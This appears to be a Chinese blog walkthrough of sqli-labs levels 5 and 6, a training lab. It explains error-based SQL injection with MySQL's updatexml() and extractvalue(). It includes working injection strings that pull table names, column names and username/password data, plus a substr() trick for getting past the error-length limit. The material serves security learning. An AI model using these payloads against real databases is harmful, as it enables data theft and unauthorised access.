当前位置: 首页 > news >正文

sqli-labs靶场通关笔记:第5-6关 报错注入

第5关 报错注入

首先判断闭合方式,发现是单引号闭合。

但是新的问题出现了,它页面回显只有正确和报错两种状态,没有回显位,意味着union联合注入攻击不能生效。

只要思想不滑坡,办法总比困难多。这里发现报错的语句也会回显到页面上,那么就可以尝试使用报错注入。

需要用到两个函数,updatexml() 和 extractvalue()函数。

这两个函数都是 MySQL 内置的用于处理 XML 数据的函数,语法如下:

//UPDATEXML函数
UPDATEXML(xml_target, xpath_expr, new_value)//EXTRACTVALUE函数
EXTRACTVALUE(xml_frag, xpath_expr)

updatexml()用于修改,extractvalue()用于查询,两者都严重依赖第二个参数作为 XPath 表达式 来定位或操作 XML 中的特定部分。当提供一个无效的、不符合 XPath 语法规则的字符串作为第二个参数时,函数会执行失败并抛出一个运行时错误。这正是关键点所在,如果在不合法的字符串中构造子查询语句,那么数据库在报错时,会将子查询的结果包含在内。

本关中报错是有回显的,意味着可以利用这两个函数去构造语句来读取回显数据。

1.updatexml()函数构造

?id=1' and updatexml(1,concat(0x7e,(select database())),3) --+

 解释:updatexml()函数需要有三个参数,1和3作为占位符,0x7e是“~”符号的16进制,作用是构造无效的XPath表达式(在XPath 1.0 规范中,表达式不能以操作符开头),concat()起拼接作用,将子查询语句连接到其中。

(1)这里成功查询到当前数据库的名称。

 (2)进一步查询。

//查询数据库中的表
?id=1' and updatexml(1,concat(0x7e,(
select group_concat(table_name) from information_schema.tables where table_schema=database()
)),3) --+
//查询表中字段
?id=1' and updatexml(1,concat(0x7e,(
select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'
)),3) --+
//查询字段数据
?id=1' and updatexml(1,concat(0x7e,(
select group_concat(username,password) from users
)),3) --+

这里又出现了一个新的问题,MySQL 对错误信息的长度有限制,updatexml()函数最多返回 32 字节。回显的数据不完整。

可以使用substr()函数分段提取数据。

?id=1' and updatexml(1,concat(0x7e,
substr((select group_concat(concat(username,'@',password)) from users),1,10
)),3) --+

 2.extractvalue()函数构造

方法和updatexml()相同。

第6关 双引号闭合的报错注入

解法与上一关相同。

http://www.dtcms.com/a/273792.html

相关文章:

  • Android原生TabLayout使用技巧
  • DNS(Domain Name System,域名系统)
  • 11. TCP 滑动窗口、拥塞控制是什么,有什么区别
  • 正义的算法迷宫—人工智能重构司法体系的技术悖论与文明试炼
  • KeyError: “No object named ‘MambaIRv2Model‘ found in ‘model‘ registry!“
  • iOS 数组如何设计线程安全
  • netdxf—— CAD c#二次开发之(netDxf 处理 DXF 文件)
  • Rail开发日志_3
  • uniapp+unipush推送配置
  • 阿里云MaxCompute SQL与Apache Hive区别面面观
  • 开疆智能EtherCAT转CANopen网关连接台达伺服驱动器配置案例
  • 大模型及agent开发6 OpenAI Assistant API 高阶应用 - 流式输出功能
  • SEQUENCE在RAC多实例开启CACHE的NEXTVAL数值乱序问题
  • redis数据结构和数据类型
  • Redis实战案例
  • Java 面试题超详细解析(二)
  • Windows下的redis
  • 小木的机器学习日记——KNN
  • lua中检查静态常量是否正确引用
  • 每天一个前端小知识 Day 28 - Web Workers / 多线程模型在前端中的应用实践
  • 【web应用】若依框架前端报表制作与导出全攻略(ECharts + html2canvas + jsPDF)
  • 界面组件DevExpress WPF中文教程:Grid - 如何检查节点?
  • Windows 应用程序的 UI 框架:WPF、WinUI 3 和 UWP的差异区别
  • VMware安装Centos 7
  • pandas销售数据分析
  • 十年架构心路:从单机到云原生的分布式系统演进史
  • 七牛云运维面试题及参考答案
  • MySQL 的语言体系
  • 【InnoDB存储引擎4】行结构
  • 报错 | “pnpm : 无法将“pnpm”项识别为 cmdlet、函数、脚本文件或可运行程序的名称。请检查名称的拼写,